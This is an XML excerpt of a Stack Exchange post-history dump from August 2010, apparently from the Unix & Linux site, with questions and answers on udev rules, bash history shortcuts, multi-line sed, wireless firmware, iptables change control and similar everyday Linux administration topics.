  <row Id="2350" PostHistoryTypeId="2" PostId="1231" RevisionGUID="f89875c2-313b-44ec-9f81-e9291e66c470" CreationDate="2010-08-25T01:00:00.753" UserId="1002" Text="One possibility is to add your own udev rule for this partition, that overrides the default ones.  On Ubuntu 10.04 `/lib/udev/rules.d/80-udisks.rules` has some default rules that make udisks ignore some partitions (e.g. partitions that are known to be rescue partitions etc.) which might be an inspiration...&#xD;&#xA;&#xD;&#xA;On Ubuntu 10.04 your own rules should go into `/etc/udev/rules.d/` (see the README there).&#xD;&#xA;&#xD;&#xA;On another distro those things might be located differently, but the basics should be the same..." />
  <row Id="2351" PostHistoryTypeId="2" PostId="1232" RevisionGUID="5c57e17b-f72d-4bfe-b97a-30cd714f7aad" CreationDate="2010-08-25T01:10:28.253" UserId="1199" Text="Umount last mounted device:&#xD;&#xA;&#xD;&#xA;    mount /media/whatever&#xD;&#xA;    ...&#xD;&#xA;    u!mo&#xD;&#xA;&#xD;&#xA;`!mo` expands to the last command that started with `mo` (at least in bash).&#xD;&#xA;Sometimes one does `mv` in the middle, so `u!m` won't work as often." />
  <row Id="2352" PostHistoryTypeId="16" PostId="1232" RevisionGUID="5c57e17b-f72d-4bfe-b97a-30cd714f7aad" CreationDate="2010-08-25T01:10:28.253" UserId="-1" />
  <row Id="2353" PostHistoryTypeId="6" PostId="1189" RevisionGUID="633b06cb-1b03-418b-a8da-dd43e1c8d2b5" CreationDate="2010-08-25T02:09:50.977" UserId="85" Comment="edited tags" Text="éusbàéwirelessàébroadcomà" />
  <row Id="2354" PostHistoryTypeId="2" PostId="1233" RevisionGUID="d5075d20-8e1e-435b-b8e1-83b1ef353d5f" CreationDate="2010-08-25T03:50:09.760" UserId="1204" Text="I'm trying to use sed or awk to replace 5 lines in a smb file but I just don't have any idea how to deal with the newlines." />
  <row Id="2355" PostHistoryTypeId="1" PostId="1233" RevisionGUID="d5075d20-8e1e-435b-b8e1-83b1ef353d5f" CreationDate="2010-08-25T03:50:09.760" UserId="1204" Text="Sed and awk question" />
  <row Id="2356" PostHistoryTypeId="3" PostId="1233" RevisionGUID="d5075d20-8e1e-435b-b8e1-83b1ef353d5f" CreationDate="2010-08-25T03:50:09.760" UserId="1204" Text="éscriptingàésedàéconfigurationà" />
  <row Id="2357" PostHistoryTypeId="2" PostId="1234" RevisionGUID="fd63775d-25a2-4223-98dc-bb30538e91a8" CreationDate="2010-08-25T03:51:32.740" UserId="678" Text="Can please someone with comment rights correct the posting to:&#xD;&#xA;&#xD;&#xA;    00 06 1-7,15-21 * 4 /path/to/script&#xD;&#xA;&#xD;&#xA;Otherwise it will fail depending on the locale you are using." />
  <row Id="2358" PostHistoryTypeId="2" PostId="1235" RevisionGUID="53bb5397-6595-40ce-be4e-27edf440b358" CreationDate="2010-08-25T04:48:04.753" UserId="1205" Text="[My old iPhone is semi-bricked][1]. It turns off after a few minutes and doesn't get past the load screen.&#xD;&#xA;&#xD;&#xA;It has important data on it which wasn't backed up. I'm trying to access the hard-drive's contents without resorting to a hard-drive recovery company.&#xD;&#xA;&#xD;&#xA;Someone mentioned to me that you can [use a Linux machine and the program Amarok][2] to access the drive's contents. However, my phone wasn't jailbroken nor had the usb tethering option enabled. Plus, it had a passcode on it, so I'm guessing this method wouldn't work.&#xD;&#xA;&#xD;&#xA;Are there any other ways you can think of to access the drives contents using a Unix machine? Is there any way to take it apart and connect a cable directly to the hard-drive?&#xD;&#xA;&#xD;&#xA;  [1]: http://gadgets.stackexchange.com/questions/394/any-way-to-recover-data-from-a-semi-bricked-iphone&#xD;&#xA;  [2]: https://help.ubuntu.com/community/PortableDevices/iPhone" />
  <row Id="2359" PostHistoryTypeId="1" PostId="1235" RevisionGUID="53bb5397-6595-40ce-be4e-27edf440b358" CreationDate="2010-08-25T04:48:04.753" UserId="1205" Text="Accessing the iPhone file system via Linux/Unix" />
  <row Id="2360" PostHistoryTypeId="3" PostId="1235" RevisionGUID="53bb5397-6595-40ce-be4e-27edf440b358" CreationDate="2010-08-25T04:48:04.753" UserId="1205" Text="éunixàéhardwareà" />
  <row Id="2361" PostHistoryTypeId="2" PostId="1236" RevisionGUID="d2586ef1-dbbf-4d3a-a3e1-21ec221104dc" CreationDate="2010-08-25T04:50:51.543" UserId="73" Text="Sed is quite bad at this, because it operates one line at a time. The only decent technique I've ever seen to do this is [this one](http://austinmatzko.com/2008/04/26/sed-multi-line-search-and-replace/), which involves storing the entire file in sed's hold buffer and then operating on it all at once:&#xD;&#xA;&#xD;&#xA;    sed -n '1h;1!H;${g;s/search/replace/;p;}'&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;If you can, it's much easier to use perl to accomplish this:&#xD;&#xA;&#xD;&#xA;    perl -0pe 's/search/replace/'&#xD;&#xA;&#xD;&#xA;`search` can contain `\n`s to represent newlines" />
  <row Id="2362" PostHistoryTypeId="2" PostId="1237" RevisionGUID="eb363b08-69b7-4ae5-9110-071280c63201" CreationDate="2010-08-25T06:17:21.823" UserId="44" Text="No, it's not overrated.  In practice it's most under-appreciated. :-)&#xD;&#xA;&#xD;&#xA;My small team at work for example is sharing an RHEL machine for development work: building stuff, testing etc.  Everyone uses individual user accounts, but we also share the root password since people need this time to time for quick sysadmin tasks.  This also has resulted in us managing to hose the OS a few times in its short lifespan.  Someone building a certain version of libc removed the system libc by a silly rm invocation.  In another curious incidence the partition table was missing. (Ok, this had nothing to do with previleges.)  Rest of the team is blocked until the breakage is fixed.  One solution is to have someone volunteer to take up the sysadmin tasks.  To this point we have not cared too much, except to allow people to learn their lessons: all of us need some teeth marks on our rear ends, and these are relatively inexpensive teeth marks.&#xD;&#xA;&#xD;&#xA;The really curious might want to follow [the principle of least privileges][1], and Ken Thompson's paper, &quot;Reflections On Trusting Trust.&quot; (&quot;The moral is obvious. You can't trust code that you did not totally create yourself.&quot;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Principle_of_least_privilege" />
  <row Id="2365" PostHistoryTypeId="2" PostId="1239" RevisionGUID="ef5548a6-c796-4fb6-9f3d-6e335401d4e9" CreationDate="2010-08-25T07:04:32.553" UserId="487" Text="Take a look at [this article](http://everydaylht.com/howtos/desktop/iphoneipod-touch-on-linux/) to see if it will give you what you need.&#xD;&#xA;&#xD;&#xA;I haven't tried it yet, as I was looking at tethering which involves compiling some kernel drivers, but I don't think you'll need it for just accessing the contents.&#xD;&#xA;&#xD;&#xA;Good luck!" />
  <row Id="2366" PostHistoryTypeId="2" PostId="1240" RevisionGUID="7277e490-c952-47cc-95a5-28b6c2409f0c" CreationDate="2010-08-25T07:42:56.950" UserId="1131" Text="I can't live without&#xD;&#xA;&#xD;&#xA;    set editing-mode vi&#xD;&#xA;    set blink-matching-paren on&#xD;&#xA;&#xD;&#xA;in my ~/.inputrc.&#xD;&#xA;&#xD;&#xA;Activates them in every readline enabled application.&#xD;&#xA;Only activating vi command line editing in the shell works via:&#xD;&#xA;&#xD;&#xA;    set -o vi&#xD;&#xA;&#xD;&#xA;Thus, hitting ESC or CTRL+[ gets you the well known vi-command mode. And you can use powerful vi commands everywhere!&#xD;&#xA;" />
  <row Id="2367" PostHistoryTypeId="16" PostId="1240" RevisionGUID="7277e490-c952-47cc-95a5-28b6c2409f0c" CreationDate="2010-08-25T07:42:56.950" UserId="-1" />
  <row Id="2368" PostHistoryTypeId="5" PostId="1189" RevisionGUID="dee1d9ae-1d3e-4ce8-b71e-33fd4e03eb7c" CreationDate="2010-08-25T08:25:31.427" UserId="665" Comment="edited body" Text="I have a broadcom wireless card in my laptop and as far as I know, it acts as an USB device.&#xD;&#xA;I also have one USB stick wireless device (TL-WN422G - uses ath9k_htc driver) which I want to use at the same time as the first (Broadcom) device.&#xD;&#xA;&#xD;&#xA;The problem is, after I load ath9k_htc - iwconfig does not show the new USB device (the TL-WN422G - wlan1 / ath0 / whatever), but only the old one (wlan0 - Broadcom, checked by MAC).&#xD;&#xA;&#xD;&#xA;I tried this USB device (TL-WN422G) on my other computer that has PCI wireless card in it, and they both worked just fine together after I pluged it in... I get wlan0 (Ralink) and wlan1 (TL-WN422G).&#xD;&#xA;Is it some kind of a problem for the laptop that both devices are recognized as USB?&#xD;&#xA;How do I make wlan1 appear on my laptop?&#xD;&#xA;&#xD;&#xA;also, my system is fully up to date 2.6.35 kernel (Arch)&#xD;&#xA;&#xD;&#xA;thank you&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;p.s. - moderators, could you please add this tags (I can't, don't have enough reputation): **wireless atheros broadcom**" />
  <row Id="2369" PostHistoryTypeId="5" PostId="1189" RevisionGUID="dc58e405-6e18-4cab-bade-4daf6e84860d" CreationDate="2010-08-25T09:36:33.257" UserId="665" Comment="added 349 characters in body" Text="I have a broadcom wireless card in my laptop and as far as I know, it acts as an USB device.&#xD;&#xA;I also have one USB stick wireless device (TL-WN422G - uses ath9k_htc driver) which I want to use at the same time as the first (Broadcom) device.&#xD;&#xA;&#xD;&#xA;The problem is, after I load ath9k_htc - iwconfig does not show the new USB device (the TL-WN422G - wlan1 / ath0 / whatever), but only the old one (wlan0 - Broadcom, checked by MAC).&#xD;&#xA;&#xD;&#xA;I tried this USB device (TL-WN422G) on my other computer that has PCI wireless card in it, and they both worked just fine together after I pluged it in... I get wlan0 (Ralink) and wlan1 (TL-WN422G).&#xD;&#xA;Is it some kind of a problem for the laptop that both devices are recognized as USB?&#xD;&#xA;How do I make wlan1 appear on my laptop?&#xD;&#xA;&#xD;&#xA;also, my system is fully up to date 2.6.35 kernel (Arch)&#xD;&#xA;&#xD;&#xA;edit: dmesg gives me this&#xD;&#xA;&#xD;&#xA;    usb 1-5: new high speed USB device using ehci_hcd and address 9&#xD;&#xA;    usb 1-5: ath9k_htc: Firmware - ar9271.fw not found&#xD;&#xA;    ath9k_hif_usb: probe of 1-5:1.0 failed with error -22&#xD;&#xA;&#xD;&#xA;but I've already downloaded the needed ar9271.fw from linuxwireless.org and I put it into /lib/firmware - something wrong in that?&#xD;&#xA;&#xD;&#xA;thank you&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;p.s. - moderators, could you please add this tags (I can't, don't have enough reputation): **wireless atheros broadcom**" />
  <row Id="2370" PostHistoryTypeId="5" PostId="1189" RevisionGUID="d7531ac4-d2a0-4a01-8b18-a68302f2de4b" CreationDate="2010-08-25T09:55:46.187" UserId="665" Comment="added 780 characters in body" Text="I have a broadcom wireless card in my laptop and as far as I know, it acts as an USB device.&#xD;&#xA;I also have one USB stick wireless device (TL-WN422G - uses ath9k_htc driver) which I want to use at the same time as the first (Broadcom) device.&#xD;&#xA;&#xD;&#xA;The problem is, after I load ath9k_htc - iwconfig does not show the new USB device (the TL-WN422G - wlan1 / ath0 / whatever), but only the old one (wlan0 - Broadcom, checked by MAC).&#xD;&#xA;&#xD;&#xA;I tried this USB device (TL-WN422G) on my other computer that has PCI wireless card in it, and they both worked just fine together after I pluged it in... I get wlan0 (Ralink) and wlan1 (TL-WN422G).&#xD;&#xA;Is it some kind of a problem for the laptop that both devices are recognized as USB?&#xD;&#xA;How do I make wlan1 appear on my laptop?&#xD;&#xA;&#xD;&#xA;also, my system is fully up to date 2.6.35 kernel (Arch)&#xD;&#xA;&#xD;&#xA;**edit:** &#xD;&#xA;I've already downloaded the needed ar9271.fw from linuxwireless.org and I put it into /lib/firmware - something wrong in that?&#xD;&#xA;&#xD;&#xA;dmesg gives me this on laptop:&#xD;&#xA;&#xD;&#xA;    usb 1-5: new high speed USB device using ehci_hcd and address 9&#xD;&#xA;    usb 1-5: ath9k_htc: Firmware - ar9271.fw not found&#xD;&#xA;    ath9k_hif_usb: probe of 1-5:1.0 failed with error -22&#xD;&#xA;&#xD;&#xA;and this on the computer that does work:&#xD;&#xA;&#xD;&#xA;    usb 1-5: new high speed USB device using ehci_hcd and address 4&#xD;&#xA;    usb 1-5: ath9k_htc: Transferred FW: ar9271.fw, size: 51280&#xD;&#xA;    ath: EEPROM regdomain: 0x809c&#xD;&#xA;    ath: EEPROM indicates we should expect a country code&#xD;&#xA;    ath: doing EEPROM country-&gt;regdmn map search&#xD;&#xA;    ath: country maps to regdmn code: 0x52&#xD;&#xA;    ath: Country alpha2 being used: CN&#xD;&#xA;    ath: Regpair used: 0x52&#xD;&#xA;    cfg80211: Calling CRDA for country: CN&#xD;&#xA;    Registered led device: ath9k-phy1::radio&#xD;&#xA;    Registered led device: ath9k-phy1::assoc&#xD;&#xA;    Registered led device: ath9k-phy1::tx&#xD;&#xA;    Registered led device: ath9k-phy1::rx&#xD;&#xA;    usb 1-5: ath9k_htc: USB layer initialized&#xD;&#xA;    usbcore: registered new interface driver ath9k_hif_usb&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;thank you&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;p.s. - moderators, could you please add this tags (I can't, don't have enough reputation): **wireless atheros broadcom**" />
  <row Id="2371" PostHistoryTypeId="2" PostId="1241" RevisionGUID="bad1a810-afed-4c38-9854-e387b49cb8c0" CreationDate="2010-08-25T10:07:32.930" UserId="1002" Text="It is possible if the PXE boot ROM/image supports 802.1x (e.g. Intel's vPro systems [should support it](http://www.intel.com/technology/itj/2008/v12i4/5-paper/4-embedded-2.htm)).&#xD;&#xA;&#xD;&#xA;It seems like gPXE has [some support](http://git.etherboot.org/?p=people/oremanj/gpxe.git;a=commit;h=0d74283bc1d232e93932e18038dc13d94c5b7218) too." />
  <row Id="2372" PostHistoryTypeId="2" PostId="1242" RevisionGUID="9a9dd72c-02ee-4451-b4ba-7810b8dc1bc3" CreationDate="2010-08-25T10:08:31.043" UserId="665" Text="for some reason the ar9721.fw file was empty... downloaded the file again - put it into /lib/firmware and now it works..." />
  <row Id="2373" PostHistoryTypeId="2" PostId="1243" RevisionGUID="09be3325-92b6-4549-a833-613b91041e10" CreationDate="2010-08-25T11:21:12.760" UserId="269" Text="My current laptop is falling apart, specifically the screen hinges. Once (or ideally before) they break, I'd like to run the machine as a storage device. I strongly prefer using GUIs over CLI, any recommendations on a distro/useful tools to install before turning it into a box. Any cautionary tales about running a laptop without a screen?&#xD;&#xA;&#xD;&#xA;So far I imagine installing Ubuntu (not Server) and running Remmina to remoting in via VNC/etc.&#xD;&#xA;&#xD;&#xA;I would like to tag this question &quot;headless&quot;, but I don't have the reps :)" />
  <row Id="2374" PostHistoryTypeId="1" PostId="1243" RevisionGUID="09be3325-92b6-4549-a833-613b91041e10" CreationDate="2010-08-25T11:21:12.760" UserId="269" Text="Advice on running a headless laptop" />
  <row Id="2375" PostHistoryTypeId="3" PostId="1243" RevisionGUID="09be3325-92b6-4549-a833-613b91041e10" CreationDate="2010-08-25T11:21:12.760" UserId="269" Text="éremoteömanagementàélaptopà" />
  <row Id="2376" PostHistoryTypeId="2" PostId="1244" RevisionGUID="c1c7fd9c-3152-4850-b97c-7897a86676a1" CreationDate="2010-08-25T12:00:51.603" UserId="912" Text="What does this term mean?" />
  <row Id="2377" PostHistoryTypeId="1" PostId="1244" RevisionGUID="c1c7fd9c-3152-4850-b97c-7897a86676a1" CreationDate="2010-08-25T12:00:51.603" UserId="912" Text="What does a &quot;OVM reboot&quot; mean?" />
  <row Id="2378" PostHistoryTypeId="3" PostId="1244" RevisionGUID="c1c7fd9c-3152-4850-b97c-7897a86676a1" CreationDate="2010-08-25T12:00:51.603" UserId="912" Text="élinuxàéunixà" />
  <row Id="2379" PostHistoryTypeId="6" PostId="1243" RevisionGUID="97d23037-2abd-4318-902c-b4c014e70a2b" CreationDate="2010-08-25T12:02:10.073" UserId="250" Comment="edited tags" Text="éremoteömanagementàélaptopàéheadlessà" />
  <row Id="2382" PostHistoryTypeId="2" PostId="1246" RevisionGUID="d119dba6-c054-4bb4-b559-e497d3f2a9dd" CreationDate="2010-08-25T12:06:26.173" UserId="381" Text="OVM probably means [Oracle VM][1] in case. So `OVM reboot` probably mean to reboot the virutal machine from Oracle VM Manager.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.oracle.com/us/technologies/virtualization/oraclevm/index.html" />
  <row Id="2383" PostHistoryTypeId="5" PostId="1134" RevisionGUID="ff17075c-fa5e-4450-8578-7cc5265ab262" CreationDate="2010-08-25T12:36:01.803" UserId="315" Comment="Added more specific question" Text="At the moment I'm using a Python script to generate iptables rules. Each set of changes gets committed to a git repository before deployment so there's a trace of who changed what and why.&#xD;&#xA;&#xD;&#xA;What tools/processes do other people use to manage changes to their firewall rules? Is there a guide on best practice for firewall change control that anyone likes?&#xD;&#xA;&#xD;&#xA;**UPDATE:** I guess what I'm asking is for tools/processes around the area. For instance I find testing large firewall scripts quite difficult. Anyone use/written a test script or know of a unit testing type approach that's possible with iptables?" />
  <row Id="2384" PostHistoryTypeId="2" PostId="1247" RevisionGUID="bf6359c8-9548-4bbe-8827-82d47ce922e5" CreationDate="2010-08-25T12:48:23.717" UserId="850" Text="You could use a higher-level software that generates iptables rules, like shorewall. It has a command 'shorewall check' that checks the consistency and errors in your rules.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2385" PostHistoryTypeId="2" PostId="1248" RevisionGUID="42e15a89-18f3-4765-8902-f876a68bc17c" CreationDate="2010-08-25T13:00:32.110" UserId="156" Text="**Apple doesn't want it to be easy!!!**&#xD;&#xA;&#xD;&#xA;You can perhaps ask the rEFIt devs to make the specific process you want a bit easier, but I don't think you can get without having to install something to circumvent Apple-imposed restrictions.&#xD;&#xA; " />
  <row Id="2386" PostHistoryTypeId="2" PostId="1249" RevisionGUID="ed3deb06-2a3f-475c-ac12-c3446808eb92" CreationDate="2010-08-25T13:01:07.807" UserId="250" Text="Hello all,&#xD;&#xA;&#xD;&#xA;Regarding [this question][1] I really like the idea of running compiz without a desktop environment. I currently have Ubuntu 10.04 (with gnome and compiz) and want to give it a try. Now how can I configure my system to enable compiz running without gnome (then I can remove gnome completely)?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/1206/the-most-light-weight-compiz-compatible-environment" />
  <row Id="2387" PostHistoryTypeId="1" PostId="1249" RevisionGUID="ed3deb06-2a3f-475c-ac12-c3446808eb92" CreationDate="2010-08-25T13:01:07.807" UserId="250" Text="how to remove gnome to run only compiz" />
  <row Id="2388" PostHistoryTypeId="3" PostId="1249" RevisionGUID="ed3deb06-2a3f-475c-ac12-c3446808eb92" CreationDate="2010-08-25T13:01:07.807" UserId="250" Text="éubuntuàégnomeàécompizà" />
  <row Id="2389" PostHistoryTypeId="2" PostId="1250" RevisionGUID="1b81e2be-0eab-4d9c-9bdd-ab82792fe833" CreationDate="2010-08-25T13:49:35.410" UserId="156" Text="The problem with notebooks with Linux preinstalled, is which distro comes with them. &#xD;&#xA;&#xD;&#xA;I've bought one which had an unknown distro (Satux), that was Debian based, but included proprietary drivers and no access to the sources for the distro or drivers.&#xD;&#xA;&#xD;&#xA;When I finally decided to install Ubuntu over it, I started to have to chase drivers all around the internet, for the video adapter, and wi-fi (power-saving seems to be working).&#xD;&#xA;&#xD;&#xA;But the wi-fi could not work reliably so I disabled the internal adapter and bought an external USB wi-fi dongle that works nicely (but with manually recompiled drivers, too).&#xD;&#xA;" />
  <row Id="2390" PostHistoryTypeId="2" PostId="1251" RevisionGUID="9d7e4aa0-5f3c-4911-bb18-2a65bf27ce89" CreationDate="2010-08-25T14:08:07.500" UserId="261" Text="I think [this wiki page][1] is what you are looking for.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/community/CompizStandalone" />
  <row Id="2391" PostHistoryTypeId="5" PostId="1177" RevisionGUID="b944e48b-1e29-4f2e-87e7-f9ce88b08750" CreationDate="2010-08-25T14:28:38.400" UserId="1103" Comment="more links" Text="For serving files to Windows machines you need [Samba][1]. &#xD;&#xA;&#xD;&#xA;Samba can also handle user identities, but I think that Samba's passwords and access rights are entirely separate from those of regular Linux users.&#xD;&#xA;[This][2] piece of documentation makes me think so, go to *&quot;Samba as a Primary Domain Controller&quot;*.&#xD;&#xA;&#xD;&#xA;Disclaimer: I have really no knowledge on the subject. I have neither installed nor administrated any Samba server.&#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;&#xD;&#xA;This seems to be Sambas's main documentation:&#xD;&#xA;http://www.samba.org/samba/docs/man/Samba-HOWTO-Collection/index.html&#xD;&#xA;&#xD;&#xA;Samba has a [PAM][3] module for providing login information for Linux. &#xD;&#xA;http://www.samba.org/samba/docs/man/Samba-HOWTO-Collection/winbind.html &#xD;&#xA;http://www.samba.org/samba/docs/man/Samba-HOWTO-Collection/pam.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Samba_(software)&#xD;&#xA;  [2]: http://www.oregontechsupport.com/articles/samba.php&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Pluggable_Authentication_Modules&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Samba_(software)&#xD;&#xA;  [2]: http://www.oregontechsupport.com/articles/samba.php" />
  <row Id="2392" PostHistoryTypeId="2" PostId="1252" RevisionGUID="dc18a9e3-848d-46f5-b24b-aff6e64c7553" CreationDate="2010-08-25T14:28:38.680" UserId="156" Text="Using the Java example from http://wiki.linuxhelp.net/index.php/Nano_Syntax_Highlighting, you can try to add something like the following into your ~/.nanorc:&#xD;&#xA;&#xD;&#xA;    syntax &quot;C# source&quot; &quot;\.cs$&quot;&#xD;&#xA;    color green &quot;\&lt;(bool|byte|sbyte|char|decimal|double|float|int|uint|long|ulong|new|object|short|ushort|string|base|this|void)\&gt;&quot;&#xD;&#xA;    color red &quot;\&lt;(as|break|case|catch|checked|continue|default|do|else|finally|fixed|for|foreach|goto|if|is|lock|return|switch|throw|try|unchecked|while)\&gt;&quot;&#xD;&#xA;    color cyan &quot;\&lt;(abstract|class|const|delegate|enum|event|explicit|extern|implicit|in|internal|interface|namespace|operator|out|override|params|private|protected|public|readonly|ref|sealed|sizeof|static|struct|typeof|using|virtual|volatile)\&gt;&quot;&#xD;&#xA;    color red &quot;&quot;[^\&quot;]*&quot;&quot;&#xD;&#xA;    color yellow &quot;\&lt;(true|false|null)\&gt;&quot;&#xD;&#xA;    color blue &quot;//.*&quot;&#xD;&#xA;    color blue start=&quot;/\*&quot; end=&quot;\*/&quot;&#xD;&#xA;    color brightblue start=&quot;/\*\*&quot; end=&quot;\*/&quot;&#xD;&#xA;    color brightgreen,green &quot; +$&quot;" />
  <row Id="2393" PostHistoryTypeId="2" PostId="1253" RevisionGUID="4d6b7fdf-601b-458a-8e66-14011119915d" CreationDate="2010-08-25T14:45:10.547" UserId="261" Text="A central server to host network shares is a good idea, a simple rsync script can ensure certain files stay synchronized on your local PC, if needed. The server can also double as a backup location for your important documents, which in turn get backed-up by the server onto an external or online.&#xD;&#xA;&#xD;&#xA;I haven't used this, but [Amahi][1] Home Server could be a good place to look.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amahi.org/features" />
  <row Id="2394" PostHistoryTypeId="5" PostId="1201" RevisionGUID="98f149d2-4796-4f42-8bb3-5eb7ff477956" CreationDate="2010-08-25T14:46:20.367" UserId="138" Comment="Added R example and discussion; added 8 characters in body" Text="If you don't mind writing a small script to do what you need, I'd recommend doing it in &lt;a href=&quot;http://www.r-project.org/&quot;&gt;R&lt;/a&gt;, the open-source statistics system.&#xD;&#xA;&#xD;&#xA;For instance, consider this one-liner to get a list of 100 Gaussian-distributed numbers:&#xD;&#xA;&#xD;&#xA;    $ Rscript -e 'write(rnorm(100) * 100 + 100, &quot;&quot;, 1)'&#xD;&#xA;    234.2903&#xD;&#xA;    -25.53289&#xD;&#xA;    168.0262&#xD;&#xA;    -28.49810&#xD;&#xA;    105.0687&#xD;&#xA;    85.97355&#xD;&#xA;    269.5072&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Let's break this down.&#xD;&#xA;&#xD;&#xA;The standard `R` command brings you into an interactive programming environment, which is fine if you're trying to work out how to do something by hand or are building something up incrementally, but from your question, it sounds like you just need a list of numbers to send to another program.  So instead, we use `Rscript`, which behaves more like a traditional Unix script interpreter: you can pass it the name of a file containing an R script, or use the standard `-e` flag to pass the entire program text on the command line.&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://stat.ethz.ch/R-manual/R-devel/library/stats/html/Normal.html&quot;&gt;`rnorm()`&lt;/a&gt; is the R function to get a list of random numbers with the &quot;normal&quot; or Gaussian distribution.  It takes up to three parameters, only the first of which is required, how many numbers you want.  We've asked for 100.  By taking the defaults for the other two optional parameters, we get a mean of 0 and a standard deviation of 1.&#xD;&#xA;&#xD;&#xA;The arithmetic after that is just showing off a cool feature of the R language: you can do arithmetic on whole data tables, matrices, etc., just as easily as a scalar value in a more typical language.  I've multiplied all generated values by 100 and added 100 to them, just because I can.  You could do other things here, like clamp the values to integers, scale them in more useful ways, etc.&#xD;&#xA;&#xD;&#xA;We pass that table as the first parameter to the `write()` function, which writes the data out to a file by default, but we've overridden that by passing a blank string for the second parameter, the file name.  The next parameter, `1`, just tells it we want our output in single-column format.&#xD;&#xA;&#xD;&#xA;R has many other random number generation functions, with other distributions, built into the base system.  R also has a rich set of add-ons in &lt;a href=&quot;http://cran.r-project.org/&quot;&gt;CRAN&lt;/a&gt;, a package repository modeled on Perl's CPAN.  One you might be interested in is simply called &lt;a href=&quot;http://cran.opensourceresources.org/web/packages/random/&quot;&gt;random&lt;/a&gt;, which acts as an interface to &lt;a href=&quot;http://random.org/&quot;&gt;random.org&lt;/a&gt;, a service that returns true random numbers generated from atmospheric noise.&#xD;&#xA;&#xD;&#xA;R is a complete programming environment, so it may be that you don't actually need to get your numbers out of R in text format.  You might be able to solve your problem entirely in R.  Give it a shot." />
  <row Id="2395" PostHistoryTypeId="2" PostId="1254" RevisionGUID="17c71be2-ecf6-4d67-af37-7c9c5362d48e" CreationDate="2010-08-25T14:48:34.737" UserId="912" Text="for example, if I do a &#xD;&#xA;&#xD;&#xA;    mkdir thisismyfolder912&#xD;&#xA;&#xD;&#xA;I remember there is some easier way to switch to `thisismyfolder912` than having to do a&#xD;&#xA;&#xD;&#xA;    cd thisismyfolder912&#xD;&#xA;&#xD;&#xA;What is that way and how does it work? Also, what are the other ways I can use this?" />
  <row Id="2396" PostHistoryTypeId="1" PostId="1254" RevisionGUID="17c71be2-ecf6-4d67-af37-7c9c5362d48e" CreationDate="2010-08-25T14:48:34.737" UserId="912" Text="How to access the history on the fly in unix?" />
  <row Id="2397" PostHistoryTypeId="3" PostId="1254" RevisionGUID="17c71be2-ecf6-4d67-af37-7c9c5362d48e" CreationDate="2010-08-25T14:48:34.737" UserId="912" Text="élinuxàéshellàéunixàécommandöhistoryà" />
  <row Id="2398" PostHistoryTypeId="2" PostId="1255" RevisionGUID="84063d06-1223-4f4d-bd26-c83f670e63ab" CreationDate="2010-08-25T15:04:10.680" UserId="1222" Text="Are you talking about classic history expansion, or Readline processing? `cd !$` on the next input line will substitute in the last argument of the previous line, or `M-.` or `M-_` will yank it using Readline." />
  <row Id="2399" PostHistoryTypeId="2" PostId="1256" RevisionGUID="a65cd31f-58f6-4307-95e6-64850a5e6052" CreationDate="2010-08-25T15:11:42.007" UserId="1222" Text="Standard source control tools are likely perfectly adequate for this. One thing you might also consider if you're automating this is adding validity checks (like the 'shorewall check' Luc mentioned) to your checkin hooks to provide a level of protection against deploying a bad config." />
  <row Id="2400" PostHistoryTypeId="5" PostId="212" RevisionGUID="a87640c2-a55b-4952-b0b3-d671b3f7ac3c" CreationDate="2010-08-25T15:30:43.193" UserId="138" Comment="clarity; deleted 10 characters in body" Text="OS X is the only remaining operating system &lt;a href=&quot;http://en.wikipedia.org/wiki/Mach_%28kernel%29#Operating_systems_and_kernels_based_on_Mach&quot;&gt;based on the Mach microkernel&lt;/a&gt; which is also still commercially relevant.  There are a few ongoing research projects and obsolescent OSes that no doubt are still being used in production settings on old machines, but nothing you can go out and buy on a new machine today.&#xD;&#xA;&#xD;&#xA;OS X has the usual assortment of kernel feature incompatibilities that any *ix has.  The biggest one I most recently had to work around is a lack of &lt;a href=&quot;http://en.wikipedia.org/wiki/System_V#SVR1&quot;&gt;System V message queues&lt;/a&gt;.  (`msgget(2)` and friends.)  We had to replace our message queue code &amp;mdash; which was written for a &quot;real&quot; System V variant and later ported to Linux &amp;mdash; with TCP/IP to get our software to run on OS X.  For our application, the differences between these two IPC methods mattered at the time we made the choice to go with message queues, but due to later architectural changes, it ended up not being a big deal to switch to TCP/IP." />
  <row Id="2401" PostHistoryTypeId="5" PostId="1255" RevisionGUID="bae102b3-f23a-479e-a620-3eeef1f629f3" CreationDate="2010-08-25T15:37:22.763" UserId="73" Comment="added 18 characters in body" Text="Are you talking about classic history expansion, or Readline processing? `cd !$` on the next input line will substitute in the last argument of the previous line, or &lt;kbd&gt;M-.&lt;/kbd&gt; or &lt;kbd&gt;M-_&lt;/kbd&gt; will yank it using Readline." />
  <row Id="2402" PostHistoryTypeId="2" PostId="1257" RevisionGUID="2d868206-49e3-4483-9bfe-bf190ec7929d" CreationDate="2010-08-25T15:46:39.283" UserId="595" Text="It's as simple as &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;.&lt;/kbd&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ mkdir lasdfjalsdkjf&#xD;&#xA;    $ cd &#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;.&lt;/kbd&gt;&#xD;&#xA;&#xD;&#xA;    $ cd lasdfjalsdkjf&#xD;&#xA;&#xD;&#xA;" />
